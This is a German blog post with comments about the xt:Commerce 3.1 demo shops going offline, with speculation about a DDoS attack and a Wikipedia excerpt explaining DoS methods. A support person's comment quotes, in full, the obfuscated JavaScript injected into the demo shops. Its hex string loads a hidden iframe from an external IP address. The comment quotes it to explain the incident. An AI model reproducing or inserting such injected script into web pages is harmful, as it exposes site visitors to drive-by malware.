Kleines Update dazu:
ich hab vorhin ein nettes Telefonat mit einem Supporter (polkhigh33) aus dem xt:Commerce Forum gehabt. Der hat mir Mitgeteilt, das jemand in der Lage war Schadcode einzufügen und das das Leck auf Providerseite war.
So der Kommentar von polkhigh33 ist unten zu lesen, scheint also das das Prob von der Providerseite her kommt.
So der Release ist ja nun gewesen, einiges an bösem Blut ist auch wieder hochgekommen, aber wenn man den Ausführungen von Mario Zanier im Forum von xt:Commerce glauben schenken darf, hat man versucht die Demosysteme der nagelneuen Shopsoftware xt:Commerce 3.1 mit einem DDoS Angriff auszuschalten.
Wow……, da waren wohl ein paar Leute sauer?
Laut Mario Zanier wird der Vorfall nach Auswertung der Logs, an das LKA abgegeben. Nun wenn man momentan versucht die Demos aufzurufen, bekommt man einen freundlichen 403 geliefert.
Die Sterne meinen es mit den XT’lern momentan nicht gut. Aber kommen wir mal zurück zum Eigentlichen. Was ist ein DDoS Angriff, bedienen wir uns doch zur Erklärung der Wikipedia:
Funktionsweise
Primitive DoS-Angriffe belasten die Dienste eines Servers, beispielsweise HTTP, mit einer größeren Anzahl Anfragen, als dieser in der Lage ist zu bearbeiten, woraufhin er eingestellt wird oder reguläre Anfragen so langsam beantwortet, dass diese abgebrochen werden. Wesentlich effizienter ist es jedoch, ProgrammfehlerAbsturz) der Serversoftware auszulösen, worauf diese ebenso auf Anfragen nicht mehr reagiert. auszunutzen, um eine Fehlerfunktion (wie einen
Eine besondere Form stellt die DRDoS(Distributed Reflected Denial of Service)-Attacke dar. Hierbei adressiert der Angreifer seine Datenpakete nicht direkt an das Opfer, sondern an regulär arbeitende Internetdienste, trägt jedoch als Absenderadresse die des Opfers ein (IP-Spoofing). Die Antworten auf diese Anfragen stellen dann für das Opfer den eigentlichen DoS-Angriff dar. Der Ursprung des Angriffs ist für den Angegriffenen durch diese Vorgehensweise praktisch nicht mehr ermittelbar.
Im Unterschied zu anderen Angriffen will der Angreifer hier normalerweise nicht in den Computer eindringen und benötigt deshalb keine Passwörter oder Ähnliches. Jedoch kann ein DoS-Angriff Bestandteil eines Angriffs auf ein System sein, zum Beispiel bei folgenden Szenarien:
- Um vom eigentlichen Angriff auf ein System abzulenken, wird ein anderes System durch einen DoS lahmgelegt. Dies soll dafür sorgen, dass das mit der Administration betraute Personal vom eigentlichen Ort des Geschehens abgelenkt ist, bzw. die Angriffsversuche im durch den DoS erhöhten Datenaufkommen untergehen.
- Verzögert man Antworten eines regulären Systems, können Anfragen an dieses durch eigene, gefälschte Antworten kompromittiert werden. Beispiel hierfür ist das Hijacking (Übernehmen) fremder Domainnamen durch Liefern gefälschter DNS-Antworten.
- Als Form des Protests sind DoS-Attacken in letzter Zeit populär geworden. Zum Eigenschutz der Protestierenden werden Angriffe dieser Art im Allgemeinen von Würmern durchgeführt, die sich selbstständig auf fremden Systemen verbreiten. Entsprechend handelt es sich bei Protestaktionen dieser Art um DDoS-Attacken.
Soviel nun zur Funtionsweise eines solchen Angriffs.
So etwas ist sehr komplex, ich selbst habe so etwas noch nie erlebt und möchte es ehrlich auch nicht.
Ich glaube aber momentan auch nicht das dies geschehen ist. Ein Webserver kann zum Beisiel auch zusammenbrechen, wenn er falsch konfiguriert wurde, oder einfach unterdimensioniert ist, in Anbedacht das er einem massigen Useransturm ausgesetzt ist.
Betrachten wir also nochmal die Situation: Alle warten auf ein LANG angekündigtes System. Jeder will es sehen, jeder will es testen, Demosystem online, alle dauf (z.B. 30 Admins gleichzeitig, oder mehr) und schon hat man seinen eigenen DEMOUSER DDoS Angriff. Dazu noch ein schlecht konfiguriertes Demosystem…………
Wuppp Server ist am Ende nix geht mehr.
Da brauch man kein LKA ![]()
Aber man hat einen guten Marketing Aufhänger weil man wieder im Gespräch ist …….
Klingeling ….









wenn man sich mal den alexa.com traffic verlauf ansieht, gab es echt massive zunahmen in den seitenaufrufen. klar, wenn in den abertausenden installationen auf einem was von nem update im admin steht wollen auch alle nachsehen. aber ob es ein ddos oder echte zugruffe sind, kann man ja selber schnell sehen.
wer weiss wie man ddos richtig betreibt, wird auch von einem lka und irgendwelchen logs nicht zu finden sein. professionell organisierte verbrecher haben ganze netzwerke von gehijackten computern unter kontrolle, wie letztens der neuseeländer. hatte gaube ich 1,5 millionen computer in seinem botnetzwerk.
hallo rene,
ich zitiere hier einfach mal aus einem posting von mir aus dem forum von xt:commerce.com
http://www.xt-commerce.com/forum/showthread.php?t=56887
function v4763ce2eb97c2(v4763ce2eb9f90){ var v4763ce2eba75f=16; return(parseInt(v4763ce2eb9f90,v4763ce2eba75f));}f unction v4763ce2ebb6fe(v4763ce2ebbed0){ var v4763ce2ebf20a=2; var v4763ce2ebc69f=”;for(v4763ce2ebce72=0; v4763ce2ebce72<v4763ce2ebbed0.length; v4763ce2ebce72+=v4763ce2ebf20a){ v4763ce2ebc69f+=(String.fromCharCode(v4763ce2eb97c 2(v4763ce2ebbed0.substr(v4763ce2ebce72, v4763ce2ebf20a))));}return v4763ce2ebc69f;} document.write(v4763ce2ebb6fe(’3C5343524950543E776 96E646F772E7374617475733D27446F6E65273B646F63756D6 56E742E777269746528273C696672616D65206E616D653D343 06163207372633D5C27687474703A2F2F37372E3232312E313 3332E3138382F2E69662F676F2E68746D6C3F272B4D6174682 E726F756E64284D6174682E72616E646F6D28292A313432383 335292B276465336533666263396637305C272077696474683 D333835206865696768743D333731207374796C653D5C27646 973706C61793A206E6F6E655C273E3C2F696672616D653E272 93C2F5343524950543E’));
näheres siehe
http://www.google.de/search?hl=de&rls=GGLJ%2CGGLJ%3A2006-45%2CGGLJ%3Aen&q=iframe+src%3D%27http%3A%2F%2Furl%27+width%3D%271%27+height%3D%271%27+style%3D%27visibility%3A+hidden%3B%27&btnG=Suche&meta=
das abschalten der demoshops ist ursächlich dadurch bedingt dass dieser schadcode entweder über irgendwelche lücken beim provider oder mutwillig über eine offene test-funktion im zugänglichen adminbereich der demoshops (naheliegend content-manager) eingeschleust wurde.
der vorgang wird von fachkräften analysiert und die entsprechenden massnahmen werden eingeleitet.
bis dahin bitte ich um verständnis dass die demoshops momentan nicht aktiv sind.
mfg
thomas plomitzer